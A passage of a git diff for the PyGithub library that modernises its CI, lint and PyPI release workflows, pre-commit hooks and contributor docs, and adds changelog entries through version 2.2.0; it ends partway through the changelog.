diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml index 4a9b8d519b..49c7dc5e06 100644 --- a/.github/FUNDING.yml +++ b/.github/FUNDING.yml @@ -1,3 +1,3 @@ # These are supported funding model platforms -github: [sfdye, s-t-e-v-e-n-k] +github: [sfdye, s-t-e-v-e-n-k, enricomi] diff --git a/.github/workflows/_build-pkg.yml b/.github/workflows/_build-pkg.yml new file mode 100644 index 0000000000..f14145c7e0 --- /dev/null +++ b/.github/workflows/_build-pkg.yml @@ -0,0 +1,32 @@ +name: Build package + +on: + workflow_call: + inputs: + artifact-name: + description: "Name of an artifact" + type: "string" + required: false + default: "package" + +jobs: + build-pkg: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v3 + - name: Set up Python + uses: actions/setup-python@v4 + with: + python-version: '3.x' + + - name: Install dependencies + run: pip install -U build twine + - name: Build 📦 package + run: python -m build + - name: Check 📦 package + run: twine check dist/* + + - uses: actions/upload-artifact@v3 + with: + name: ${{ inputs.artifact-name }} + path: dist diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index f91d804f50..f0d9fe8b31 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -1,19 +1,36 @@ name: CI on: push: - branches: master + branches: + - main + - release-v* pull_request: + merge_group: + jobs: + + build: + uses: "./.github/workflows/_build-pkg.yml" + with: + artifact-name: package + test: - runs-on: ubuntu-latest - name: test (Python ${{ matrix.python-version }}) + runs-on: ${{ matrix.os }} + name: test (Python ${{ matrix.python-version }} on ${{ matrix.os-label }}) strategy: + fail-fast: false matrix: + # keep it sync with tox.ini [gh-actions] section python-version: ["3.7", "3.8", "3.9", "3.10", "3.11", "3.12-dev"] + os: ["ubuntu-latest"] + os-label: ["Ubuntu"] + include: + - {python-version: "3.8", os: "windows-latest", os-label: "Windows"} + - {python-version: "3.8", os: "macos-latest", os-label: "macOS"} steps: - uses: actions/checkout@v3 - name: Set up Python - uses: actions/setup-python@v2 + uses: actions/setup-python@v4 with: python-version: "${{ matrix.python-version }}" - name: Install tox @@ -23,13 +40,24 @@ jobs: - name: Run tests run: tox - name: Upload coverage to Codecov - uses: codecov/codecov-action@v2.1.0 + uses: codecov/codecov-action@v3 + + test_success: + # this aggregates success state of all jobs listed in `needs` + # this is the only required check to pass CI + name: "Test success" + runs-on: ubuntu-latest + needs: [test] + steps: + - name: "Noop" + run: true + shell: bash + draft: runs-on: ubuntu-latest - needs: test - if: github.ref == 'refs/heads/master' + needs: test_success + if: github.ref == 'refs/heads/main' steps: - uses: release-drafter/release-drafter@v5 env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - diff --git a/.github/workflows/lint.yml b/.github/workflows/lint.yml new file mode 100644 index 0000000000..ddad6322dd --- /dev/null +++ b/.github/workflows/lint.yml @@ -0,0 +1,48 @@ +name: Lint +on: + push: + branches: + - main + - release-v* + pull_request: + merge_group: + +jobs: + mypy: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v3 + - name: Set up Python + uses: actions/setup-python@v4 + with: + python-version: "3.x" + - run: | + python -m pip install --upgrade pip + pip install -e . + pip install -r requirements/types.txt + - uses: liskin/gh-problem-matcher-wrap@v2 + with: + action: add + linters: mypy + - run: mypy --show-column-numbers github tests + + pre-commit: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v3 + - uses: actions/setup-python@v4 + with: + python-version: "3.x" + - uses: pre-commit/action@v3.0.0 + + docs: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v3 + - uses: actions/setup-python@v4 + with: + python-version: "3.8" + + - run: pip install -r requirements/docs.txt + - run: pip install -e . + - run: sphinx-build doc build diff --git a/.github/workflows/pypi-release.yml b/.github/workflows/pypi-release.yml index 0f717874b0..50dd4a62d6 100644 --- a/.github/workflows/pypi-release.yml +++ b/.github/workflows/pypi-release.yml @@ -1,25 +1,29 @@ name: Publish to PyPI on: push: - tags: - - "*" + tags: ["*"] # this will run full workflow including publish to PyPI + workflow_dispatch: + jobs: + build: + uses: "./.github/workflows/_build-pkg.yml" + with: + artifact-name: package + publish: + needs: [build] runs-on: ubuntu-latest steps: - - uses: actions/checkout@v3 - - name: Set up Python - uses: actions/setup-python@v2 + - uses: actions/download-artifact@v3 with: - python-version: '3.x' - - name: Install dependencies - run: | - python -m pip install --upgrade pip - pip install setuptools wheel twine - - name: Build and publish + name: package + path: dist + - name: Install twine + run: pip install -q twine + - name: Publish 📦 to PyPI + # only run this for tags + if: startsWith(github.event.ref, 'refs/tags/') env: TWINE_USERNAME: __token__ TWINE_PASSWORD: ${{ secrets.PYPI_PASSWORD }} - run: | - python setup.py sdist bdist_wheel - twine upload dist/* + run: twine upload dist/* diff --git a/.gitignore b/.gitignore index ecf955bd15..16d630ce5a 100644 --- a/.gitignore +++ b/.gitignore @@ -8,7 +8,12 @@ # Copyright 2016 Peter Buckley # # Copyright 2017 Chris McBride # # Copyright 2017 Colin Hoglund # +# Copyright 2018 Vinay Hegde # # Copyright 2018 sfdye # +# Copyright 2020 Steve Kowalik # +# Copyright 2020 Wan Liuyang # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Sol Redfern <59831933+Tsuesun@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # diff --git a/.isort.cfg b/.isort.cfg deleted file mode 100644 index 352064e483..0000000000 --- a/.isort.cfg +++ /dev/null @@ -1,8 +0,0 @@ -[settings] -multi_line_output=3 -include_trailing_comma=True -force_grid_wrap=0 -use_parentheses=True -line_length=88 -known_third_party=deprecated,httpretty,jwt,nacl,pytest,requests,setuptools,urllib3 -known_first_party=github diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index 17da882816..07c65962dd 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -1,31 +1,40 @@ +default_language_version: + python: python3 + repos: - - repo: https://github.com/psf/black - rev: 22.10.0 - hooks: - - id: black - - repo: https://github.com/asottile/seed-isort-config - rev: v2.2.0 + - repo: https://github.com/pre-commit/pre-commit-hooks + rev: v4.5.0 hooks: - - id: seed-isort-config - - repo: https://github.com/pre-commit/mirrors-isort - rev: v5.10.1 + - id: end-of-file-fixer + - id: trailing-whitespace + - id: check-symlinks + - id: destroyed-symlinks + - id: mixed-line-ending + args: + - "--fix=lf" + + - repo: https://github.com/asottile/pyupgrade + rev: v3.15.0 hooks: - - id: isort - - repo: https://github.com/pycqa/flake8 - rev: 3.9.2 + - id: pyupgrade + args: ["--py37-plus"] + + - repo: https://github.com/astral-sh/ruff-pre-commit + rev: v0.1.7 hooks: - - id: flake8 + - id: ruff + args: + - "--fix" + - "--fixable=ALL" + - "--exit-non-zero-on-fix" + - repo: https://github.com/codespell-project/codespell - rev: v2.2.1 + rev: v2.2.6 hooks: - id: codespell - exclude: tests/ - args: - - --ignore-words-list="bloaded,nto,pullrequest,pullrequests,thi,tim,wan,Wan,chang,Chang" - - --quiet-level=2 - - repo: https://github.com/asottile/pyupgrade - rev: v3.1.0 + additional_dependencies: [tomli] + + - repo: https://github.com/psf/black + rev: 23.12.0 hooks: - - id: pyupgrade - args: - - --py37-plus + - id: black diff --git a/.readthedocs.yml b/.readthedocs.yml index b78662aebb..58ff025bfb 100644 --- a/.readthedocs.yml +++ b/.readthedocs.yml @@ -5,12 +5,16 @@ # Required version: 2 +build: + os: ubuntu-22.04 + tools: + python: "3.8" + sphinx: configuration: doc/conf.py python: - version: 3.8 install: - method: pip path: . - - requirements: requirements.txt + - requirements: requirements/docs.txt diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index b256ee320d..0b7ab7235b 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -25,10 +25,10 @@ Ideally, changes should be made in logical commits and tests added to improve th ## Coding style -PyGithub adopts the black coding style and uses isort to sort imports. +PyGithub adopts the black coding style. To manually format the code: -``` +```bash tox -e lint ``` @@ -74,7 +74,7 @@ def get_protected_branch(self): First you need to install the test dependencies: ```bash -pip install -r test-requirements.txt +pip install -r requirements/test.txt ``` Then you can run the tests through `pytest`. @@ -84,11 +84,13 @@ If you add a new test, for example `Issue139.testCompletion`, you have to run `p Check them and commit them as well. You will need a `GithubCredentials.py` file at the root of the project with the following contents: -``` +```python login = "my_login" -password = "my_password" # Can be left empty if not used -oauth_token = "my_token" # Can be left empty if not used -jwt = "my_json_web_token" # Can be left empty if not used +password = "my_password" # Can be left empty if not used +oauth_token = "my_token" # Can be left empty if not used +jwt = "my_json_web_token" # Can be left empty if not used +app_id = "my_app_id" # Can be left empty if not used +app_private_key = "my_app_private_key" # Can be left empty if not used ``` If you use 2 factor authentication on your Github account, tests that require a login/password authentication will fail. @@ -98,26 +100,26 @@ Similarly, you can use `pytest Issue139.testCompletion --record --auth_with_jwt` To run manual tests with external scripts that use the PyGithub package, you can install your development version with: -``` +```bash pip install --editable path/to/project ``` You may also want to investigate `tox` to run tests: -``` +```bash pip install tox tox -epy310 ``` ## Build documentation locally -``` +```bash pip install -r requirements.txt sphinx-build doc build ``` If you use tox: -``` +```bash tox -edocs ``` diff --git a/DEPLOY.md b/DEPLOY.md index bbd9402572..6cc2b87e94 100644 --- a/DEPLOY.md +++ b/DEPLOY.md @@ -1,19 +1,24 @@ ## Upload a new version to PyPI -Github workflow (`.github/workflows/python-publish.yml`) will push tagged commits to PyPI. Here are the steps: +Github [PyPi release](.github/workflows/pypi-release.yml) workflow will push tagged commits to PyPI. Here are the steps: -1. Run `manage.py` +1. Run `scripts/prepare_release.sh` ```bash -./manage.sh publish -Next version number? (previous: 'XXX') +./scripts/prepare_release.sh ``` -2. Give the new version number based on previous version (Use semantic versioning) +2. Complete the changes in `doc/changes.rst`: + - Replace `Version ?.?.?` with the release version. + - Organize commits into sub-sections like "New features" or "Bug Fixes", see earlier releases for inspiration. -3. Create a new Github [release](https://github.com/PyGithub/PyGithub/releases) from the tag that has just been committed, with the same release note from `doc/changes.rst`. This step is the hook that will trigger the workflow. (also needed for some web spiders for changelog parsing) - -4. Now the push will be on hold until you press Enter. Manually inspect the changelog (`doc/changes.rst`) to make changes if necessary. Once you are sure, go back and press Enter. +3. Commit these changes and create a pull request. -5. Once the `python-publish` workflow completes, a new version will appear on [PyPI](https://pypi.org/project/PyGithub/#history) shortly. +4. After merging those changes into `main` branch, create a new Github [release](https://github.com/PyGithub/PyGithub/releases): + - Choose the merge commit in `main`. + - Choose a new tag with release version prefixed with `v`, e.g. `v2.2.0`. + - Add the same release note from `doc/changes.rst`. + Creating the release also creates the tag chosen, which will trigger the PyPi release workflow. + +5. Once the PyPi release workflow completes, a new version will appear on [PyPI](https://pypi.org/project/PyGithub/#history) shortly. diff --git a/MAINTAINERS b/MAINTAINERS index 3cfcf969e6..d4d5103f95 100644 --- a/MAINTAINERS +++ b/MAINTAINERS @@ -4,3 +4,5 @@ Nhomar Hernández (@nhomar) Vincent Jacques (@jacquev6) Wan Liuyang (@sfdye) Steve Kowalik (@s-t-e-v-e-n-k) +Enrico Minack (@EnricoMi) +Jonathan Leitschuh (@JLLeitschuh) diff --git a/MANIFEST.in b/MANIFEST.in deleted file mode 100644 index 501859533a..0000000000 --- a/MANIFEST.in +++ /dev/null @@ -1,2 +0,0 @@ -include COPYING* -include README.md diff --git a/README.md b/README.md index 9e749abea6..2d82b2ee92 100644 --- a/README.md +++ b/README.md @@ -2,7 +2,7 @@ [![PyPI](https://img.shields.io/pypi/v/PyGithub.svg)](https://pypi.python.org/pypi/PyGithub) ![CI](https://github.com/PyGithub/PyGithub/workflows/CI/badge.svg) -[![readthedocs](https://img.shields.io/badge/docs-latest-brightgreen.svg?style=flat)](https://pygithub.readthedocs.io/en/latest/?badge=latest) +[![readthedocs](https://img.shields.io/badge/docs-stable-brightgreen.svg?style=flat)](https://pygithub.readthedocs.io/en/stable/?badge=stable) [![License](https://img.shields.io/badge/license-LGPL-blue.svg)](https://en.wikipedia.org/wiki/GNU_Lesser_General_Public_License) [![Slack](https://img.shields.io/badge/Slack%20channel-%20%20-blue.svg)](https://join.slack.com/t/pygithub-project/shared_invite/zt-duj89xtx-uKFZtgAg209o6Vweqm8xeQ) [![Open Source Helpers](https://www.codetriage.com/pygithub/pygithub/badges/users.svg)](https://www.codetriage.com/pygithub/pygithub) @@ -18,7 +18,7 @@ This library enables you to manage [GitHub] resources such as repositories, user ## Install ```bash -$ pip install PyGithub +pip install PyGithub ``` ## Simple Demo @@ -26,22 +26,31 @@ $ pip install PyGithub ```python from github import Github -# First create a Github instance: +# Authentication is defined via github.Auth +from github import Auth # using an access token -g = Github("access_token") +auth = Auth.Token("access_token") + +# First create a Github instance: + +# Public Web Github +g = Github(auth=auth) # Github Enterprise with custom hostname -g = Github(base_url="https://{hostname}/api/v3", login_or_token="access_token") +g = Github(base_url="https://{hostname}/api/v3", auth=auth) # Then play with your Github objects: for repo in g.get_user().get_repos(): print(repo.name) + +# To close connections after use +g.close() ``` ## Documentation -More information can be found on the [PyGitHub documentation site.](https://pygithub.readthedocs.io/en/latest/introduction.html) +More information can be found on the [PyGitHub documentation site.](https://pygithub.readthedocs.io/en/stable/introduction.html) ## Development diff --git a/doc/changes.rst b/doc/changes.rst index 9f9b5338c0..19d5573b6d 100644 --- a/doc/changes.rst +++ b/doc/changes.rst @@ -4,25 +4,395 @@ Change log Stable versions ~~~~~~~~~~~~~~~ +Version 2.2.0 (January 28, 2024) +-------------------------------- + +Breaking Changes +^^^^^^^^^^^^^^^^ + +* The ``github.Comparison.Comparison`` instance returned by ``Repository.compare`` provides a ``commits`` + property that used to return a ``list[github.Commit.Commit]``, which has now been changed + to ``PaginatedList[github.Commit.Commit]``. This breaks user code that assumes a ``list``: + +.. code-block:: python + + commits = repo.compare("v0.6", "v0.7").commits + no_of_commits = len(commits) + +This will raise a ``TypeError: object of type 'PaginatedList' has no len()``, as the returned ``PaginatedList`` +does not support the ``len()`` method. Use the ``totalCount`` property instead: + +.. code-block:: python + + commits = repo.compare("v0.6", "v0.7").commits + no_of_commits = commits.totalCount + + +New features +^^^^^^^^^^^^ + +* Add support to call GraphQL API + +Improvements +^^^^^^^^^^^^ + +* Add parent_team_id, maintainers and notification_setting for creating and updating teams. (#2863) (49d07d16) +* Add support for issue reactions summary (#2866) (cc4c5269) +* Support for DependabotAlert APIs (#2879) (14af7051) +* Derive GraphQL URL from base_url (#2880) (d0caa3c3) +* Make ``Repository.compare().commits`` return paginated list (#2882) (2d284d1e) +* Add missing branch protection fields (#2873) (e47c153b) +* Add ``include_all_branches`` to ``create_repo_from_template`` of ``AuthenticatedUser`` and ``Organization`` (#2871) (34c4642e) +* Add and update organisation dependabot secrets (#2316) (603896f4) +* Add missing params to ``Organization.create_repo`` (#2700) (9c61a2a4) +* Update allowed values for ``Repository`` collaborator permissions (#1996) (b5b66da8) +* Support editing PullRequestReview (#2851) (b1c4c561) +* Update attributes after calling ``PullRequestReview.dismiss`` (#2854) (6f3d714c) +* Add ``request_cve`` on ``RepositoryAdvisories`` (#2855) (41b617b7) +* Filter collaborators of a repository by permissions (#2792) (702c127a) +* Set pull request to auto merge via GraphQL API (#2816) (232df79a) +* Support Environment Variables and Secrets (#2848) (7df97398) +* Update workflow.get_runs & pullrequest.add_to_assignees function signature (#2799) (26eedbb0) +* Add ``GithubObject.last_modified_datetime`` to have ``last_modified`` as a ``datetime`` (#2772) (e7ce8189) +* Add support for global advisories and unify some shared logic with repository advisories (#2702) (c8b4fcbe) +* Add internal as valid Repository visibility value (#2806) (d4a5a40f) +* Add support for issue comments reactions summary (#2813) (67397491) + +Bug Fixes +^^^^^^^^^ + +* Add a bunch of missing urllib.parse.quote calls (#1976) (13194be2) +* Fix Variable and Secret URL (#2835) (aa763431) + +Maintenance +^^^^^^^^^^^ + +* Update the class name for NetrcAuth in the examples (#2860) (2f44b2e8) +* Move build to PEP517 (#2800) (c589bf9e) +* Use new type assert functions in ``Repository`` (#2798) (2783e671) +* PyTest: Move config to pyproject.toml (#2859) (61fb728b) +* codespell: ignore-words-list (#2858) (dcf6d8a1) +* Improve fix-headers.py script (#2728) (a48c37fa) +* Remove dependency on python-dateutil (#2804) (ab131a2f) +* CI: update precommit & apply (#2600) (d92cfba2) +* Fix parameter order according to Version 2.1.0 (#2786) (dc37d5c1) +* Add missing GitHub classes to docs (#2783) (9af9b6e5) +* Fix mypy error with urllib3>=2.0.0a1 by ignoring (#2779) (64b1cdea) + +Version 2.1.1 (September 29, 2023) +----------------------------------- + +Bug Fixes +^^^^^^^^^ + +* Require urllib 1.26.0 or greater (#2774) (001c0852) + +Maintenance +^^^^^^^^^^^ + +* Fix pypi-release workflow, allow for manual run (#2771) (035c88f1) + +Version 2.1.0 (September 29, 2023) +----------------------------------- + +Important +^^^^^^^^^ + +**Request throttling** + +This release introduces a default throttling mechanism to mitigate secondary rate limit errors and comply with Github's best practices: +https://docs.github.com/en/rest/guides/best-practices-for-integrators?apiVersion=2022-11-28#dealing-with-secondary-rate-limits + +The default throttling of 1 second between writes and 0.25 second between any requests can be configured +for ``github.Github`` and ``github.GithubIntegration``: + +.. code-block:: python + + g = github.Github(seconds_between_requests=0.25, seconds_between_writes=1) + +Set these parameters to ``None`` to disable throttling and restore earlier behavior. + +**Request retry** + +This release introduces a default retry mechanism to retry retry-able 403 responses (primary and secondary rate limit errors only) and any 5xx response. + +Class ``github.GithubRetry`` implements this behavior, and can be configured via the ``retry`` argument of ``github.Github`` and ``github.GithubIntegration``. +Retry behavior is configured similar to ``urllib3.Retry``: https://urllib3.readthedocs.io/en/stable/reference/urllib3.util.html + +.. code-block:: python + + g = github.Github(retry=github.GithubRetry()) + +Set this parameter to ``None`` to disable retry mechanism and restore earlier behaviour. + +Breaking Changes +^^^^^^^^^^^^^^^^ + +**Timestamps** + +Any timestamps returned by this library are ``datetime`` with timezone information, usually UTC. +Before this release, timestamps used to be naive ``datetime`` instances without timezone. +Comparing (other than ``==``) these timestamps with naive ``datetime`` instances used to work but will now break. +Add a timezone information to your ``datetime`` instances before comparison: + +.. code-block:: python + + if g.get_repo("PyGithub/PyGithub").created_at < datetime(2012, 2, 26, tzinfo=timezone.utc): + ... + +**Netrc authentication** + +A Netrc file (e.g. ``~/.netrc``) does not override PyGithub authentication, anymore. +If you require authentication through Netrc, then this is a breaking change. +Use a ``github.Auth.NetrcAuth`` instance to use Netrc credentials: + +.. code-block:: python + + >>> auth = Auth.NetrcAuth() + >>> g = Github(auth=auth) + >>> g.get_user().login + 'login' + +**Repository.create_pull** + +Merged overloaded ``create_pull`` methods + +.. code-block:: python + + def create_pull(self, issue, base, head) + def create_pull(self, title, body, base, head, maintainer_can_modify=NotSet, draft=False) + +into + +.. code-block:: python + + def create_pull(self, base, head, *, title=NotSet, body=NotSet, maintainer_can_modify=NotSet, draft=NotSet, issue=NotSet) + +Please update your usage of ``Repository.create_pull`` accordingly. + +New features +^^^^^^^^^^^^ + +* Throttle requests to mitigate RateLimitExceededExceptions (#2145) (99155806) +* Retry retryable 403 (rate limit) (#2387) (0bb72ca0) +* Close connections after use (#2724) (73236e23) + +Improvements +^^^^^^^^^^^^ + +* Make datetime objects timezone-aware (#2565) (0177f7c5) +* Make ``Branch.edit_*`` functions return objects (#2748) (8dee53a8) +* Add ``license`` attribute to ``Repository`` (#2721) (26d353e7) +* Add missing attributes to ``Repository`` (#2742) (65cfeb1b) +* Add ``is_alphanumeric`` attribute to ``Autolink`` and ``Repository.create_autolink`` (#2630) (b6a28a26) +* Suppress ``requests`` fallback to netrc, provide ``github.Auth.NetrcAuth`` (#2739) (ac36f6a9) +* Pass Requester arguments to ``AppInstallationAuth.__integration`` (#2695) (8bf542ae) +* Adding feature for enterprise consumed license (#2626) (a7bfdf2d) +* Search Workflows by Name (#2711) (eadc241e) +* Add ``Secret`` and ``Variable`` classes (#2623) (bcca758d) +* Add Autolink API link (#2632) (aedfa0b9) +* Add ``required_linear_history`` attribute to ``BranchProtection`` (#2643) (7a80fad9) +* Add retry issue to ``GithubException``, don't log it (#2611) (de80ff4b) +* Add ``message`` property to ``GithubException`` (#2591) (f087cad3) +* Add support for repo and org level actions variables (#2580) (91b3f40f) +* Add missing arguments to ``Workflow.get_runs()`` (#2346) (766df993) +* Add ``github.Rate.used`` field (#2531) (c4c2e527) + +Bug Fixes +^^^^^^^^^ + +* Fix ``Branch.bypass_pull_request_allowances`` failing with "nil is not an object" (#2535) (c5542a6a) +* Fix ``required_conversation_resolution`` assertion (#2715) (54f22267) +* Fix assertion creating pull request review comment (#2641) (2fa568b6) +* Safely coerce ``responseHeaders`` to ``int`` (#2697) (adbfce92) +* Fix assertion for ``subject_type`` in creating pull request review comment (#2642) (4933459e) +* Use timezone-aware reset datetime in ``GithubRetry.py`` (#2610) (950a6949) +* Fix ``Branch.bypass_pull_request_allowances`` failing with "nil is not an object" (#2535) (c5542a6a) + +Maintenance +^^^^^^^^^^^ + +* Epic mass-merge ``.pyi`` type stubs back to ``.py`` sources (#2636) +* Move to main default branch (#2566) (e66c163a) +* Force Unix EOL (#2573) (094538e1) +* Close replay test data file silently when test is failing already (#2747) (6d871d56) +* CI: Make CI support merge queue (#2644) (a91debf1) +* CI: Run CI on release branches (#2708) (9a88b6b1) +* CI: remove conflict label workflow (#2669) (95d8b83c) +* Fix pip install command in README.md (#2731) (2cc1ba2c) +* Update ``add_attribute.py`` to latest conding style (#2631) (e735972e) +* CI: Improve ruff DX (#2667) (48d2009c) +* CI: Increase wait and retries of labels action (#2670) (ff0f31c2) +* Replace ``flake8`` with ``ruff`` (#2617) (42c3b47c) +* CI: update labels action name and version (#2654) (c5c83eb5) +* CI: label PRs that have conflicts (#2622) (1d637e4b) +* Unify requirements files location & source in setup.py (#2598) (2edc0f8f) +* Enable mypy ``disallow_untyped_defs`` (#2609) (294c0cc9) +* Enable mypy ``check_untyped_defs`` (#2607) (8816889a) +* Set line length to 120 characters (#2599) (13e178a3) +* CI: Build and check package before release (#2593) (3c880e76) +* Use ``typing_extensions`` for ``TypedDict`` (#2592) (5fcb0c7d) +* CI: Update action actions/setup-python (#2382) (2e5cd31e) +* Add more methods and attributes to Repository.pyi (#2581) (72840de4) +* CI: Make pytest color logs (#2597) (73241102) +* precommit: move ``flake8`` as last (#2595) (11bb6bd7) +* Test on Windows and macOS, don't fail fast (#2590) (5c600894) +* Remove symlinks from test data (#2588) (8d3b9057) + +Version 1.59.1 (July 03, 2023) +----------------------------------- + +Bug Fixes +^^^^^^^^^ + +* Safely coerce responseHeaders to int (#2697) (adbfce92) + +Version 1.59.0 (June 22, 2023) +----------------------------------- + +Important +^^^^^^^^^ + +This release introduces new way of authentication. All authentication-related arguments ``github.Github(login_or_token=…, password=…, jwt=…, app_auth=…)`` +and ``github.GithubIntegration(integration_id=…, private_key=…, jwt_expiry=…, jwt_issued_at=…, jwt_algorithm=…)`` are replaced by a single ``auth=…`` argument. +Module ``github.Auth`` provides classes for all supported ways of authentication: ``Login``, ``Token``, ``AppAuth``, ``AppAuthToken``, ``AppInstallationAuth``, ``AppUserAuth``. +Old arguments are deprecated but continue to work. They are scheduled for removal for version 2.0 release. + +This project has decided to move all typing information from ``.pyi`` files into the respective ``.py`` source files. +This will happen gradually over time. + +Breaking Changes +^^^^^^^^^^^^^^^^ + +* The ``position`` argument in ``github.PullRequest.create_review_comment(position=…)`` has been renamed to ``line``. + This breaks user code that calls ``create_review_comment`` with keyword argument ``position``. Call with ``line=…`` instead. + Calling this method with positional arguments is not breaking. +* The ``jwt_expiry``, ``jwt_issued_at`` and ``jwt_algorithm`` arguments in ``github.GithubIntegration()`` have changed their position. + User code calling ``github.GithubIntegration(…)`` with these arguments as positional arguments breaks. + Please use keyword arguments: ``github.GithubIntegration(…, jwt_expiry=…, jwt_issued_at=…, jwt_algorithm=…)``. +* The ``since`` argument in ``github.PullRequest.get_review_comments(…)`` has changed position.`` + User code calling ``github.PullRequest.get_review_comments(…)`` with this argument as positional argument breaks. + Please use keyword argument: ``github.PullRequest.get_review_comments(since=…)``. + +Deprecation +^^^^^^^^^^^ + +* The use of ``github.Github(login_or_token=…)`` is deprecated, use ``github.Github(auth=github.Auth.Login(…))`` or ``github.Github(auth=github.Auth.Token(…))`` instead. +* The use of ``github.Github(password=…)`` is deprecated, use ``github.Github(auth=github.Auth.Login(…))`` instead. +* The use of ``github.Github(jwt=…)`` is deprecated, use ``github.Github(auth=github.AppAuth(…))`` or ``github.Github(auth=github.AppAuthToken(…))`` instead. +* The use of ``github.Github(app_auth=…)`` is deprecated, use ``github.Github(auth=github.Auth.AppInstallationAuth(…))`` instead. +* The use of ``github.GithubIntegration(integration_id=…, private_key=…, jwt_expiry=…, jwt_issued_at=…, jwt_algorithm=…)`` is deprecated, use ``github.GithubIntegration(auth=github.Auth.AppAuth(…))`` instead. +* The use of ``github.GithubIntegration.create_jwt`` is deprecated, use ``github.Github(auth=github.Auth.AppAuth)``, ``github.Auth.AppAuth.token`` or ``github.Auth.AppAuth.create_jwt(expiration)`` instead. +* The use of ``AppAuthentication`` is deprecated, use ``github.Auth.AppInstallationAuth`` instead. +* The use of ``github.Github.get_app()`` without providing argument ``slug`` is deprecated, use ``github.GithubIntegration(auth=github.Auth.AppAuth(…)).get_app()``. + +Bug Fixes +^^^^^^^^^ + +* Test and fix UTC issue with AppInstallationAuth (#2561) (ff3b80f8) +* Make Requester.__createException robust against missing message and body (#2159) (7be3f763) +* Fix auth issues with `Installation.get_repos` (#2547) (64075120) +* Fix broken urls in docstrings (#2393) (f82ad61c) +* Raise error on unsupported redirects, log supported redirects (#2524) (17cd0b79) +* Fix GithubIntegration that uses expiring jwt (#2460) (5011548c) +* Add expiration argument back to GithubIntegration.create_jwt (#2439) (822fc05c) +* Add crypto extras to pyjwt, which pulls in cryptogaphy package (#2443) (554b2b28) +* Remove RLock from Requester (#2446) (45f3d723) +* Move CI to Python 3.11 release and 3.12 dev (#2434) (e414c322) +* Pass Requester base URL to integration (#2420) (bdceae2f) + +Improvements +^^^^^^^^^^^^ + +* Add Webhook Deliveries (#2508) (517ad336) +* Add support for workflow jobs and steps (#1951) (804c3107) +* Add support for get_app() with App authentication (#2549) (6d4b6d14) +* Allow multiline comments in PullRequest (#2540) (6a21761e) +* Implement `AppUserAuth` for Github App user tokens (#2546) (f291a368) +* Add support for environments (#2223) (0384e2fd) +* Add support for new RepositoryAdvisories API :tada: (#2483) (daf62bd4) +* Make `MainClass.get_app` return completed `GithubApp` when slug is given (#2543) (84912a67) +* Add authentication classes, move auth logic there (#2528) (fc2d0e15) +* Add sort order and direction for getting comments (#2544) (a8e7c423) +* Add `name` filter to `Repository.get_artifacts()` (#2459) (9f52e948) +* Add `name`, `display_title` and `path` attributes to `WorkflowRun` (#2397) (10816389) +* Add new `create_fork` arguments (#2493) (b94a83cb) +* add `ref` to Deployment (#2489) (e8075c41) +* Add query `check_suite_id` integer to `Workflow.get_runs` (#2466) (a4854519) +* Add `generate_release_notes` parameter to `create_git_release` and `create_git_tag_and_release` (#2417) (49b3ae16) +* Add example for Pull Request comments to documentation (#2390) (c2f12bdc) +* Add allow_auto_merge support to Repository (#2477) (8c4b9465) +* Add `artifact_id` argument to `Repository.get_artifact()` (#2458) (4fa0a5f3) +* Add missing attributes to Branch (#2512) (e296dbdb) +* Add allow_update_branch option to Organization (#2465) (bab4180f) +* Add support for Issue.state_reason #2370 (#2392) (5aa544a1) +* Add parameters to Repository.get_workflow_runs (#2408) (4198dbfb) + +Maintenance +^^^^^^^^^^^ + +* Add type stub for MainClass.get_project_column (#2502) (d514222c) +* Sync GithubIntegration __init__ arguments with github.Github (#2556) (ea45237d) +* Update MAINTAINERS (#2545) (f4e9dcb3) +* Link to stable docs, update introduction in package used by pypi, move auth arg front (#2557) (006766f9) +* Merge PaginatedList.pyi back to source (#2555) (cb50dec5) +* Merge GithubObject.pyi/Requester.pyi stubs back to source (#2463) (b6258f4b) +* [CI] Moving linting into separate workflow (#2522) (52fc1077) +* Merging 1.58.x patch release notes into master (#2525) (217d4241) +* Merge AppAuthentication.pyi to source (#2519) (8e8cfb30) +* Merge GithubException.pyi stubs back to source (#2464) (03a2f696) +* Add missing fields from `GithubCredentials.py` to CONTRIBUTING.md (#2482) (297317ba) +* Update docstring and typing for allow_forking and allow_update_branch (Repository) (#2529) (600217f0) +* Bump actions/checkout from 2 to 3.1.0 (#2327) (300c5015) +* RTD: install current project (def5223c) +* Add current dir sys.path as well (9c96faa7) +* Use use_scm_version to get current version from git tag (#2429) (3ea91a3a) + +Version 1.58.2 (May 09, 2023) +----------------------------------- + +Bug Fixes +^^^^^^^^^ + +* Fix GithubIntegration that uses expiring jwt (#2460) (5011548c) + +Version 1.58.1 (March 18, 2023) +----------------------------------- + +Bug Fixes +^^^^^^^^^ + +* Add expiration argument back to GithubIntegration.create_jwt (#2439) (822fc05c) +* Add crypto extras to pyjwt, which pulls in cryptogaphy package (#2443) (554b2b28) +* Remove RLock from Requester (#2446) (45f3d723) +* Move CI to Python 3.11 release and 3.12 dev (#2434) (e414c322) +* pass requester base URL to integration (#2420) (bdceae2f) +* RTD: install current project (def5223c) +* Add current dir sys.path as well (9c96faa7) +* Use use_scm_version to get current version from git tag (#2429) (3ea91a3a) + Version 1.58.0 (February 19, 2023) ----------------------------------- -**Bug Fixes & Improvements** +Bug Fixes & Improvements +^^^^^^^^^^^^^^^^^^^^^^^^ -- Add unarchiving support @Tsuesun (#2391) -- Support full GitHub app authentication @dblanchette (#1986) -- Continue the PR #1899 @Felixoid (#2386) -- feat: add allow\_forking to Repository @IbrahimAH (#2380) -- Add code scanning alerts @eric-nieuwland (#2227) +* Add unarchiving support @Tsuesun (#2391) +* Support full GitHub app authentication @dblanchette (#1986) +* Continue the PR #1899 @Felixoid (#2386) +* feat: add allow\_forking to 